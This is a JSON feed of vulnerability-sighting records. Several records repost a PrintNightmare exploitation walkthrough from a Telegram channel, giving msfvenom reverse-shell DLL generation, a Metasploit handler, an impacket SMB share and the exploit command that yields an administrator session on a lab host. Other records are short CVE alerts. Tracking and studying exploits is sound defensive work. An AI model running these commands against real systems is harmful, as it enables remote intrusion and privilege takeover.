victim is vulnerable to printnightmare.\nuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 \n\nWe now start a handler beforehand prior to executing our DLL file using the exploit.\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST 192.168.1.2\nset LPORT 4444\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 \n\nNow, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.\ngit clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527\ncd PrintNightmare-CVE-2021-34527\nchmod 777 CVE-2021-34527.py \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 \n\nAlright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.\n\nAdd the share name you want (in my case, \u201cshare\u201d is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.\npython3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 \n\nWith everything prepped up and ready, we can launch the RCE exploit. The execution is simple\n\n./exploit.py credentials@IP \u2018UNC_PATH of DLL hosted\u2019\n\nHere, we just launched a share on impacket, we will use that as the UNC path\n./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll' \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 \n\nAs you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 \u2013 PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn\u2019t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.\ngit clone https://github.com/calebstewart/CVE-2021-1675.git\ncd CVE-2021-1675 && ls -al \nhttps://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-1675", "author": {"login": "automation"}}, {"uuid": "a4cb7612-a07e-4d75-8634-207a1dbdc502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.066436+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43508", "content": "Hacking Articles\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.\n\nRelated CVEs: CVE-2021-34527\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Remote Code Execution\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019 CVE-2021-1675\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Local Privilege Escalation\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019\n\nRelated Advisories:\n\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527\n* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675 Table of Content* Print Spooler Basics\n* Vulnerability Summary\n* Vulnerability Flow\n* Machine IPs\n* Method 1 \u2013 PrintNightmare RCE using Python\n* Method 2 \u2013 PrintNightmare LPE using Powershell\n* Method 3 \u2013 Printnightmare LPE using Mimikatz\n* Patch Status\n* Conclusion Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgKK9SRwPXWdtJgPhf5s-QXJvGPeLuG0FaKQG4Pkd4xlMlzDpVW1k4e8KcFndBQ6aeV4In8oKdo_MZxVzbixWr1OBuvLvmGqCUXYa5I-Xc1np20mMwFCJVFs0WA1DCxk9ltFmkJFfnDJow9VOjYVEx6LEOoiabT1tnDt_nz9RGy8QZs-Nl7SrgmL6i9dg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv\u00a0is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe\u00a0is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll\u00a0determines which print provider to call, based on a printer name and passes function call to the correct provider. Vulnerability SummaryMS-RPRN protocol (Print System Remote Proto[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "897ff04b-0f15-4f09-9df0-5635de52598f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.021887+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43508", "content": "Hacking Articles\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.\n\nRelated CVEs: CVE-2021-34527\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Remote Code Execution\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019 CVE-2021-1675\n\nVulnerability Type\u00a0\u00a0\u00a0\u00a0 Local Privilege Escalation\n\nSeverity High\n\nBase CVSS Score\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9.3\n\nVersions Affected\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Windows_10:20h2, Windows_10:21h1, Windows_10:1607,\n\nWindows_10:1809, Windows_10:1909, Windows_10:2004,\n\nWindows_7sp1, Windows_8.1, Windows_rt_8.1,\n\nWindows_Server_2008, Windows_Server_2008,\n\nWindows_Server_2012, Windows_Server_2012:r2,\n\nWindows_Server_2016, Windows_Server_2016:20h2,\n\nWindows_Server_2016:2004, Windows_Server_2019\n\nRelated Advisories:\n\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527\n* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675 Table of Content* Print Spooler Basics\n* Vulnerability Summary\n* Vulnerability Flow\n* Machine IPs\n* Method 1 \u2013 PrintNightmare RCE using Python\n* Method 2 \u2013 PrintNightmare LPE using Powershell\n* Method 3 \u2013 Printnightmare LPE using Mimikatz\n* Patch Status\n* Conclusion Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgKK9SRwPXWdtJgPhf5s-QXJvGPeLuG0FaKQG4Pkd4xlMlzDpVW1k4e8KcFndBQ6aeV4In8oKdo_MZxVzbixWr1OBuvLvmGqCUXYa5I-Xc1np20mMwFCJVFs0WA1DCxk9ltFmkJFfnDJow9VOjYVEx6LEOoiabT1tnDt_nz9RGy8QZs-Nl7SrgmL6i9dg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv\u00a0is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe\u00a0is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll\u00a0determines which print provider to call, based on a printer name and passes function call to the correct provider. Vulnerability SummaryMS-RPRN protocol (Print System Remote Proto[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-1675", "author": {"login": "automation"}}, {"uuid": "a88e9f0b-76f7-4b9b-ba83-a368ff1b0b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:04.976578+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43504", "content": "des the RPC stubs required to access the server.Vulnerability SummaryVulnerability FlowTo understand the vulnerability flow, lets understand working of RpcAddPrinterDriver first. The steps are as follows:Security Check: When the client will call this function, system checks if the client has \u201cSeLoadDriverPrivilege\u201d which is by default given to administrators group.Bypassing Security Check: AFWU mentioned in his original writeup that a user can supply the following parameters in the spooler service:\u200b pDataFile =A.dllSpooler service will copy A,B,C DLL files in C:\\Windows\\System32\\spool\\drivers\\x64\\3\\newand then load them to C:\\Windows\\System32\\spool\\drivers\\x64\\3He further elaborates that for pDataFile and pDriverPath there is a check in Windows that these DLLs can\u2019t be a UNC path. But pConfigFile can be a UNC path and therefore an attacker can do the following:\u200b pDataFile =A.dllWhich in theory would force Windows to load evil.dll from an attacker\u2019s share.C:\\Windows\\System32\\spool\\drivers\\x64\\3\\evil.dllC:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\evil.dll pathMachine IPsThroughout the demo, following IP addresses have been taken:Attacker IP: 192.168.1.2This is the method pertaining to CVE-2021-34527 (remote code executio[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "03dbee94-bf82-413e-b0ba-f163e8f0b36a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:04.930442+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43505", "content": "n as admin). You can find Cube0x0\u2019s official PoC here. We will be using a forked version here.msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dllhttps://blogger.googleusercontent.com/img/a/AVvXsEhuPKz1-qkbiH6YyS4YRq1sD7zWPg-ZnDz_n1Ryo4n7LkufoWoodkoYzm-RW8Ub9JG40lNsWTbUBGNZ7h43xjkCVI6PRMSrkKscjs2ulg64-W4dDW5Am4NdSuHoZEdsQD-7EYIfcZoDFw-LkBSZ06PUjnRmhv2qvQIBCeUgjqoMBRivPWXvme-F7viOUA=s16000 Now, we can check if the target is vulnerable or not using metasploit\u2019s auxiliary module. Here, I have entered a random path for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploithttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 We now start a handler beforehand prior to executing our DLL file using the exploit.use multi/handlerhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 Now, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527https://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /roothttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 With everything prepped up and ready, we can launch the RCE exploit. The execution is simple./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll'https://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "1b1c2551-1953-41d5-90ca-207783f9f521", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:04.891100+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/43422", "content": "hacking: security in practice\nCVE-2016-9682: SonicWALL SMA/SRA\n\nhttps://external-preview.redd.it/URS_9mQLdooMLi9Krpbv79GqrFldxxI4kk-GSX_PGAg.jpg?width=320&crop=smart&auto=webp&s=ddc21b571f0768bcda564b1da61e20d0dc751fbc submitted by /u/Y2Che \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2016-9682", "author": {"login": "automation"}}, {"uuid": "995d8b12-ea40-4467-8e05-de1b5886376a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:04.884341+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mutgakj73f2r", "content": "CVE-2026-57159 - asterisk\nIf your system uses the PJSIP communication library with the optional remote payload\u2011type map feature turned on, a specially crafted network request can cause the software\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#asterisk #debian #Debian14 #CVE #infosec", "vulnerability": "CVE-2026-57159", "author": {"login": "automation"}}, {"uuid": "e28024d6-4e40-429c-b668-7603ae7a9743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:04.852316+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43503", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.Related CVEs: Remote Code ExecutionSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,CVE-2021-1675Local Privilege EscalationSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,Table of Content\u00b7 Print Spooler Basics\u00b7 Vulnerability Summary\u00b7 Vulnerability Flow\u00b7 Machine IPs\u00b7 Method 1 - PrintNightmare RCE using Python\u00b7 Method 2 - PrintNightmare LPE using Powershell\u00b7 Method 3 - Printnightmare LPE using Mimikatz\u00b7 Patch Status\u00b7 ConclusionPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "5cff690f-2900-408c-bac5-48b3d1abc1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:04.811522+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43503", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: PrintNightmare\n\nIntroductionPrint Spooler has been on researcher\u2019s radar ever since Stuxnet worm used print spooler\u2019s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.Related CVEs: Remote Code ExecutionSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,CVE-2021-1675Local Privilege EscalationSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,Table of Content\u00b7 Print Spooler Basics\u00b7 Vulnerability Summary\u00b7 Vulnerability Flow\u00b7 Machine IPs\u00b7 Method 1 - PrintNightmare RCE using Python\u00b7 Method 2 - PrintNightmare LPE using Powershell\u00b7 Method 3 - Printnightmare LPE using Mimikatz\u00b7 Patch Status\u00b7 ConclusionPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-1675", "author": {"login": "automation"}}, {"uuid": "21533382-5fd3-40a1-a9f6-9c76bce13208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:30:21.676423+00:00", "type": "seen", "source": "https://bsky.app/profile/topkeyshop.bsky.social/post/3mutelevf4b2f", "content": "PaperCut zero-day alert: CVE-2026-82078 (CVSS 9.4) chains with CVE-2026-81578 for pre-auth RCE on NG/MF servers \u2014 and it\u2019s already being exploited. Patch to 25.1.2 or 26.0.1 now. Top Key Shop breaks down the emergency fix in the linked guide \ud83d\udea8", "vulnerability": "CVE-2026-81578", "author": {"login": "automation"}}, {"uuid": "00b7983c-7ba2-4144-805e-e6c5c6fb16ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:30:21.599017+00:00", "type": "seen", "source": "https://bsky.app/profile/topkeyshop.bsky.social/post/3mutelevf4b2f", "content": "PaperCut zero-day alert: CVE-2026-82078 (CVSS 9.4) chains with CVE-2026-81578 for pre-auth RCE on NG/MF servers \u2014 and it\u2019s already being exploited. Patch to 25.1.2 or 26.0.1 now. Top Key Shop breaks down the emergency fix in the linked guide \ud83d\udea8", "vulnerability": "CVE-2026-82078", "author": {"login": "automation"}}, {"uuid": "434cba84-450d-4be7-974d-cab9d3106b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:27:58.594171+00:00", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3muteh5hdhv2p", "content": "Top 3 CVE for last 7 days:\nCVE-2026-83548: 21 interactions\nCVE-2026-82329: 20 interactions\nCVE-2026-83549: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85046: 13 interactions\nCVE-2026-63077: 7 interactions\nCVE-2026-86117: 6 interactions\n", "vulnerability": "CVE-2026-86117", "author": {"login": "automation"}}, {"uuid": "6e85e1b8-1b1b-4ff5-b9e4-8cf95d4ba8b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:27:58.547695+00:00", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3muteh5hdhv2p", "content": "Top 3 CVE for last 7 days:\nCVE-2026-83548: 21 interactions\nCVE-2026-82329: 20 interactions\nCVE-2026-83549: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85046: 13 interactions\nCVE-2026-63077: 7 interactions\nCVE-2026-86117: 6 interactions\n", "vulnerability": "CVE-2026-63077", "author": {"login": "automation"}}, {"uuid": "70261ae0-c3f3-4bee-be46-611b681b7d81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:27:58.510235+00:00", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3muteh5hdhv2p", "content": "Top 3 CVE for last 7 days:\nCVE-2026-83548: 21 interactions\nCVE-2026-82329: 20 interactions\nCVE-2026-83549: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85046: 13 interactions\nCVE-2026-63077: 7 interactions\nCVE-2026-86117: 6 interactions\n", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "d70e9ea0-b285-428d-84fe-4a874e008791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:27:58.463275+00:00", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3muteh5hdhv2p", "content": "Top 3 CVE for last 7 days:\nCVE-2026-83548: 21 interactions\nCVE-2026-82329: 20 interactions\nCVE-2026-83549: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85046: 13 interactions\nCVE-2026-63077: 7 interactions\nCVE-2026-86117: 6 interactions\n", "vulnerability": "CVE-2026-83549", "author": {"login": "automation"}}, {"uuid": "a0016131-857f-404b-9b98-259fd71a4d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:27:58.419310+00:00", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3muteh5hdhv2p", "content": "Top 3 CVE for last 7 days:\nCVE-2026-83548: 21 interactions\nCVE-2026-82329: 20 interactions\nCVE-2026-83549: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85046: 13 interactions\nCVE-2026-63077: 7 interactions\nCVE-2026-86117: 6 interactions\n", "vulnerability": "CVE-2026-82329", "author": {"login": "automation"}}, {"uuid": "4ad16a6d-2eb0-4d3a-88a5-f368f07e3466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:27:58.367800+00:00", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3muteh5hdhv2p", "content": "Top 3 CVE for last 7 days:\nCVE-2026-83548: 21 interactions\nCVE-2026-82329: 20 interactions\nCVE-2026-83549: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85046: 13 interactions\nCVE-2026-63077: 7 interactions\nCVE-2026-86117: 6 interactions\n", "vulnerability": "CVE-2026-83548", "author": {"login": "automation"}}, {"uuid": "32fccfd7-0e55-465d-b62a-1da32d037e3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": 